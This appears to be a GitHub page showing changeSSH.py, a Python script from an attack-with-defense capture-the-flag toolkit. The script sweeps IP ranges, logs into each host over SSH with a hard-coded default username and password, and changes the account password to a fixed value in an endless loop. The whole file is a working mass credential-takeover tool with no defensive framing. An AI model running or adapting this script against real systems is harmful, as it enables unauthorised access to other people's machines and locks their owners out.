forked from L0nm4r/MyAWD
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchangeSSH.py
142 lines (123 loc) · 4.18 KB
/
changeSSH.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import paramiko
import multiprocessing
#import asyncio
import hashlib
import time
class SSH:
def __init__(self, host, port, user, passwd):
self.host = host
self.port = int(port)
self.user = user
self.passwd = passwd
self.ssh = None
def startup(self):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.host, self.port, self.user, self.passwd)
t = paramiko.Transport((self.host, self.port))
t.connect(username=self.user, password=self.passwd)
self.ssh = ssh
# print("[+] Connect successfully")
return True
except BaseException as e:
# print("[-] Connect ERROR!! {}".format(e))
return False
def command_exec(self, command):
try:
std_in, std_out, std_err = self.ssh.exec_command(command)
out = std_out.read()
err = std_err.read()
if out != b'':
print(out.decode().rstrip("\n"))
return out.decode().rstrip("\n")
if err != b'':
print(err.decode().rstrip("\n"))
except BaseException as e:
print("[-] Could not exec command! {}".format(e))
return 0
def change_passwd(self, ip, passwd, new_password):
try:
command = "passwd %s" %(self.user)
stdin, stdout, stderr = self.ssh.exec_command(command)
# stdin.write(new_password + '\n' + new_password + '\n')
stdin.write(passwd + '\n' + new_password + '\n' + new_password + '\n')
out, err = stdout.read(), stderr.read()
successful = 'password updated successfully'
if successful in str(err):
print(f"{ip}:{self.port} successfully! passwd:{new_password}")
self.ssh.close()
else:
# print("[-] change {} passwd failed! {}".format(ip, str(err)))
self.ssh.close()
except BaseException as e:
print("[-] Could not exec command! {}".format(e))
return 0
def md5(s):
m = hashlib.md5()
m.update(s.encode())
return m.hexdigest()
def gen_passwd(ip):
# passwd = md5("L0nm4r" + str(ip) + "L0nm4r")
# return passwd
return 'L0nm4r'
def ip_list(x):
ipList = []
iplist = x.split('.')
if '-' in x:
for i in iplist:
d = i
if '-' in d:
p = iplist.index(d)
l = d.split('-')
m = int(l[0])
n = int(l[1])
for j in range(m, n + 1):
iplist[p] = str(j)
ip = '.'.join(iplist)
ipList.append(ip)
ipList = sorted(set(ipList), key=ipList.index)
else:
ip = '.'.join(iplist)
ipList.append(ip)
ipList = sorted(set(ipList), key=ipList.index)
return ipList
def change_passwd(user, ip, port, passwd):
new_passwd = gen_passwd(ip)
try:
a = SSH(ip, port, user, passwd)
if a.startup():
a.change_passwd(ip, passwd, new_passwd)
# a.command_exec("killall -u {}".format(user))
else:
# print("[-] change {} passwd failed! ".format(ip))
pass
except BaseException as e:
# print("[-] change {} passwd failed! {}".format(ip, e))
pass
return 0
def change_passwd_back(user, ip, port, passwd):
new_passwd = gen_passwd(ip)
try:
a = SSH(ip, port, user, new_passwd)
if a.startup():
a.change_passwd(ip, new_passwd, passwd)
# a.command_exec("killall -u {}".format(user))
else:
# print("[-] change {} passwd failed! ".format(ip))
pass
except BaseException as e:
# print("[-] change {} passwd failed! {}".format(ip, e))
pass
return 0
ips = ip_list("4.4.1-83.101") + ip_list("4.4.1-83.100")
ports = ["22"]
user = "testu"
passwd = "123456"
while True:
for port in ports:
for ip in ips:
change_passwd(user,ip,port,passwd)
# t = multiprocessing.Process(target=change_passwd, args=(user, ip, port, passwd,))
# t.start()
# t.join()